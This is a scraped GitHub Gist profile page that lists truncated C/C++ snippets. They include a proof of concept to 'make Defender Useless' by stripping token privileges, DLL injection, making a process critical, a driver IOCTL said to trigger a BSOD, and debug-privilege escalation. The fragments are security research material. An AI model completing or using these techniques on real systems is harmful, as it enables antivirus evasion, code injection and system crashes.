Skip to content

Instantly share code, notes, and snippets.

View puppis42's full-sized avatar
🎃
I may be slow to respond.

puppis42

🎃
I may be slow to respond.
View GitHub Profile
#include <Windows.h>
#include "aclapi.h"
#include <chrono>
#include <thread>
DWORD ProtectProcess(void)
{
HANDLE hProcess = GetCurrentProcess();
PACL pEmptyDacl;
DWORD dwErr;
#include <iostream>
#include <windows.h>
DWORD GetProcessIntegrityLevel()
{
DWORD dwIntegrityLevel = 0;
DWORD dwError = ERROR_SUCCESS;
HANDLE hToken = NULL;
DWORD cbTokenIL = 0;
PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;
int main()
{
HWND hWnd = FindWindow(_T("Shell_TrayWnd"), NULL);
if (hWnd != NULL)
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
// A small POC to make Defender Useless by removing Token privileges and lowering Token Integrity
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
//Credits - https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <iostream>
#include <codecvt>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void EnablePrivilege(wstring privilegeName)
{
HANDLE hToken;
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <shellapi.h>
void Test() {
LPWSTR pwszCommandLine = GetCommandLine();
LPWSTR* argv = NULL;
LPWSTR g_pwszGuid = NULL;
HANDLE hEvent = NULL;
#include "pch.h"
#include <windows.h>
#include <stdio.h>
typedef VOID(_stdcall* RtlSetProcessIsCritical) (
IN BOOLEAN NewValue,
OUT PBOOLEAN OldValue, // (optional)
IN BOOLEAN IsWinlogon);
BOOL EnablePriv(LPCSTR lpszPriv)
#include <Windows.h>
BOOL InjectDLL(DWORD procID, const char* dllPath)
{
BOOL WPM = 0;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (hProc == INVALID_HANDLE_VALUE)
{
return -1;
}
#include <iostream>
#include <Windows.h>
int main()
{
//std::cout << "Hello World!\n";
//0x222084 IOCTL can also be used to trigger BSOD
HANDLE deviceHandle = CreateFile(L"\\\\.\\GLOBALROOT\\DEVICE\\ETD",
GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
#include <Windows.h>
bool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;